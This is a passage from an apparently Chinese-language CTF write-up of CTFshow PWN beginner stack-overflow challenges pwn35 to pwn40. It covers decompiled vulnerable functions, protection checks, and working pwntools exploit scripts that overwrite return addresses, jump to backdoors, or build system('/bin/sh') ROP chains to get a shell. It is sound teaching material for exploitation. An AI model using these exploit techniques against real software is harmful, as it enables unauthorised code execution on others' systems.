stream);</span><br><span class="line">  signal(<span class="number">11</span>, (<span class="type">__sighandler_t</span>)sigsegv_handler);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048910);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048984);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A00);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A8C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B1C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048BA0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048C34);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : See what the program does!                              &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Where is flag?\n&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( argc &lt;= <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Try again!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    ctfshow((<span class="type">char</span> *)argv[<span class="number">1</span>]);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;QaQ!FLAG IS NOT HERE! Here is your input : %s&quot;</span>, argv[<span class="number">1</span>]);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>打开”&#x2F;ctfshow_flag” 文件，读取其中的内容，并根据命令行参数决定打印不同的消息。如果命令行参数个数小于等于 1，则提示用户重试，否则调用 ctfshow 函数处理用户输入的命令行参数，并输出相关消息。</p><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *__cdecl <span class="title function_">ctfshow</span><span class="params">(<span class="type">char</span> *src)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> dest[<span class="number">104</span>]; <span class="comment">// [esp+Ch] [ebp-6Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">strcpy</span>(dest, src);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>char dest; 声明一个名为 dest 的字符变量。 return strcpy(&amp;dest, src); 使用 strcpy 函数将 src 字符串复制到 dest 字符数组中，并返回指向 dest 的指针。strcpy函数这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:0804B060                 public flag</span><br><span class="line">.bss:0804B060 ; char flag[64]</span><br><span class="line">.bss:0804B060 flag            db 40h dup(?)           ; DATA XREF: sigsegv_handler+1D↑o</span><br><span class="line">.bss:0804B060                                         ; main+66↑o</span><br><span class="line">.bss:0804B060 _bss            ends</span><br><span class="line">.bss:0804B060</span><br></pre></td></tr></table></figure><p>注意到signal(11, (__sighandler_t)sigsegv_handler);函数</p><p>当发生 对存储的无效访问时,会把stderr打印输出,即将flag的值打印输出</p><p>那么我们直接输入超长数据就会溢出，程序就会崩溃进而打印出flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ cyclic 105</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb</span><br><span class="line">$ ./pwn aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : See what the program does!</span><br><span class="line">    * *************************************</span><br><span class="line">Where is flag?</span><br><span class="line"></span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36"><a href="#pwn36" class="headerlink" title="pwn36"></a>pwn36</h2><h6 id="Hint：存在后门函数，如何利用？"><a href="#Hint：存在后门函数，如何利用？" class="headerlink" title="Hint：存在后门函数，如何利用？"></a>Hint：存在后门函数，如何利用？</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  RWX:        Has RWX segments</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn37"><a href="#pwn37" class="headerlink" title="pwn37"></a>pwn37</h2><h6 id="Hint：32位的-system-“-bin-sh”-后门函数给你"><a href="#Hint：32位的-system-“-bin-sh”-后门函数给你" class="headerlink" title="Hint：32位的 system(“&#x2F;bin&#x2F;sh”) 后门函数给你"></a>Hint：32位的 system(“&#x2F;bin&#x2F;sh”) 后门函数给你</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32为程序，关闭了栈保护与PIE</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(&amp;argc);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Just very easy ret2text&amp;&amp;32bit&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\nExit&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>简单查看能够看到漏洞函数为ctfshow函数，跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">14</span>]; <span class="comment">// [esp+6h] [ebp-12h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x32u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先声明了一个名为 buf 的字符数组，大小为14字节它距离ebp的距离为0x12，这里通过read函数</p><p>buf能读入0x32 ，转换为10进制就是50个字节的数据，因此这里很明显就存在栈溢出了，在找到漏洞点</p><p>后，很明显看到左边有一个backdoor函数，跟进查看：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">backdoor</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现是我们所需的一个后门函数，那么我们直接进行溢出覆盖返回地址再输入后门函数地址即可控</p><p>制程序的执行流程至此，那么我们也就得到了我们所需要的一个shell了。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(arch = &#x27;i386&#x27;,os = &#x27;linux&#x27;,log_level = &#x27;debug&#x27;)</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">backdoor=<span class="number">0x08048521</span> <span class="comment">#backdoor = elf.sym[&#x27;backdoor&#x27;]</span></span><br><span class="line">payload=cyclic(<span class="number">0x12</span>+<span class="number">4</span>)+p32(backdoor) <span class="comment">#b&#x27;a&#x27;*(0x12+4)</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 76</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : It has system and <span class="string">&#x27;/bin/sh&#x27;</span>.There is a backdoor <span class="keyword">function</span></span><br><span class="line">    * *************************************</span><br><span class="line">Just very easy ret2text&amp;&amp;32bit</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag  exp.py  pwn</span><br></pre></td></tr></table></figure><h2 id="pwn38"><a href="#pwn38" class="headerlink" title="pwn38"></a>pwn38</h2><h6 id="Hint：64位的-system-“-bin-sh”-后门函数给你"><a href="#Hint：64位的-system-“-bin-sh”-后门函数给你" class="headerlink" title="Hint：64位的 system(“&#x2F;bin&#x2F;sh”) 后门函数给你"></a>Hint：64位的 system(“&#x2F;bin&#x2F;sh”) 后门函数给你</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br><span class="line"> $ ROPgadget --binary ./pwn | grep <span class="string">&quot;pop rdi ; ret&quot;</span></span><br><span class="line">0x00000000004007e3 : pop rdi ; ret</span><br></pre></td></tr></table></figure><p>64位程序，关闭了栈保护与PIE</p><p>将程序拖进64位IDA查看main函数跟进漏洞ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">10</span>]; <span class="comment">// [rsp+6h] [rbp-Ah] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x32u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>与上题一样，这里存在溢出点，也同样存在后门函数backdoor：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 <span class="title function_">backdoor</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  system(<span class="string">&quot;/bin/sh\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是与32位不同的是，这里需要考虑到堆栈平衡加上ret返回地址</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;, 28140)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">backdoor = elf.sym[<span class="string">&#x27;backdoor&#x27;</span>]</span><br><span class="line">ret = <span class="number">0x40066D</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*(<span class="number">0xA</span>+<span class="number">8</span>) + p64(ret) + p64(backdoor)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br><span class="line">或者</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">system_addr = elf.plt[<span class="string">&#x27;system&#x27;</span>]  <span class="comment"># system函数地址</span></span><br><span class="line">binsh_addr=<span class="number">0x40065B</span> </span><br><span class="line">pop_rdi=<span class="number">0x4007e3</span></span><br><span class="line">payload=cyclic(<span class="number">0xA</span>+<span class="number">8</span>)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 107</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : It has system and <span class="string">&#x27;/bin/sh&#x27;</span>.There is a backdoor <span class="keyword">function</span></span><br><span class="line">    * *************************************</span><br><span class="line">Just easy ret2text&amp;&amp;64bit</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag  exp.py  pwn</span><br></pre></td></tr></table></figure><h2 id="pwn39"><a href="#pwn39" class="headerlink" title="pwn39"></a>pwn39</h2><h6 id="Hint：32位的-system-“-bin-sh”"><a href="#Hint：32位的-system-“-bin-sh”" class="headerlink" title="Hint：32位的 system(); “&#x2F;bin&#x2F;sh”"></a>Hint：32位的 system(); “&#x2F;bin&#x2F;sh”</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br><span class="line">$ objdump -d ./pwn | grep system@plt</span><br><span class="line">080483a0 &lt;system@plt&gt;:</span><br><span class="line"> 804854f:e8 4c fe ff ff       call   80483a0 &lt;system@plt&gt;</span><br></pre></td></tr></table></figure><p>32位程序，关闭了栈保护与PIE</p><p>IDA查看漏洞函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> __cdecl <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">14</span>]; <span class="comment">// [esp+6h] [ebp-12h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x32u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>同样的，漏洞点还是在这，但是我们需要的东西发生了改变，跟进hint函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">hint</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;echo &#x27;You find me?&#x27;&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现有“&#x2F;bin&#x2F;sh”字符串，有system函数打，但是直接把程序的流程劫持到这并不能得到我们想要</p><p>的，我们需要进一步进行构造来进行获取shell</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x12</span>+<span class="number">4</span>) + p32(system) + p32(<span class="number">0</span>) + p32(bin_sh)</span><br></pre></td></tr></table></figure><p>如上所示，我们构造的payload在先进行溢出后，填上system函数的地址，这里我们需要注意函数调用栈的结构，如果是正常调用 system 函数，我们调用的时候会有一个对应的返回地址，使用 p32 函数将整数值0转换为4字节的字符串。这个字符串将作为 system 函数的第二个参数，用于提供一个指向空值的指针作为 system 函数的第二个参数。当然在这里使用其他任意4个字符进行覆盖也可以如‘aaaa’,’bbbb’等均可。 p32(bin_sh) : 这部分使用 p32 函数将 bin_sh 的地址转换为一个4字节的字符串。 bin_sh 通常是指向包含要执行的命令的字符串（如 &#x2F;bin&#x2F;sh ）的指针。该字符串将作为 system函数的第一个参数。</p><p>到此我们就手动构造出了一个system(“&#x2F;bin&#x2F;sh”)出来了，也就能获得我们所需要的shell了</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.rodata:08048750 aBinSh          db &#x27;/bin/sh&#x27;,0          ; DATA XREF: hint+15↑o</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(arch = &#x27;i386&#x27;,os = &#x27;linux&#x27;,log_level = &#x27;debug&#x27;)</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">system=elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh=<span class="number">0x08048750</span>  <span class="comment">#&quot;/bin/sh&quot;字符串地址（.rodata段）</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x12</span>+<span class="number">4</span>) + p32(system) + p32(<span class="number">0</span>) + p32(bin_sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 192</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : It has system and <span class="string">&#x27;/bin/sh&#x27;</span>,but they don<span class="string">&#x27;t work together</span></span><br><span class="line"><span class="string">    * *************************************</span></span><br><span class="line"><span class="string">Just easy ret2text&amp;&amp;32bit</span></span><br><span class="line"><span class="string">$ ls</span></span><br><span class="line"><span class="string">ctfshow_flag  exp.py  pwn</span></span><br></pre></td></tr></table></figure><h2 id="pwn40"><a href="#pwn40" class="headerlink" title="pwn40"></a>pwn40</h2><h4 id="Hint：64位的-system-“-bin-sh”"><a href="#Hint：64位的-system-“-bin-sh”" class="headerlink" title="Hint：64位的 system(); “&#x2F;bin&#x2F;sh”"></a>Hint：64位的 system(); “&#x2F;bin&#x2F;sh”</h4><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;pop rdi ; ret&quot;</span></span><br><span class="line">0x00000000004007e3 : pop rdi ; ret</span><br></pre></td></tr></table></figure><p>是64位程序，关闭了栈保护与PIE</p><p>这几题的漏洞点都几乎一样，唯一不同的就是慢慢的少了参数之类的，重复的内容就不再赘述了，</p><p>讲解关键的</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">10</span>]; <span class="comment">// [rsp+6h] [rbp-Ah] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x32u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>hint：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">hint</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;echo &#x27;You find me?&#x27;&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里与上一题一样，有system函数，有‘&#x2F;bin&#x2F;sh’字符串，但是不在一起，因此我们仍然需要手动进行构造payload</p><p>64位和32位不同，参数不是直接放在栈上，而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*(<span class="number">0xA</span>+<span class="number">8</span>) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)</span><br></pre></td></tr></table></figure><p>对每个部分进行逐步解释：</p><ol><li><p>‘a’*(0xA+8) : 这部分生成了一个由字符 ‘a’ 组成的字符串，长度为0xA+8。这是为了填充缓冲区，达到溢出栈帧的目的。</p></li><li><p>p64(pop_rdi) : 这部分使用 p64 函数将 pop_rdi 的地址转换为一个8字节的字符串。pop_rdi 指令用于将值从栈上弹出并存储到寄存器rdi中。在这个payload中，它用于准备传递给 system 函数的第一个参数。</p></li><li><p>p64(bin_sh) : 这部分使用 p64 函数将 bin_sh 的地址转换为一个8字节的字符串。 bin_sh 通常是指向包含要执行的命令的字符串（如 &#x2F;bin&#x2F;sh ）的指针。该字符串将作为 system 函数的第一个参数。</p></li><li><p>p64(ret) : 这部分使用 p64 函数将 ret 的地址转换为一个8字节的字符串。 ret 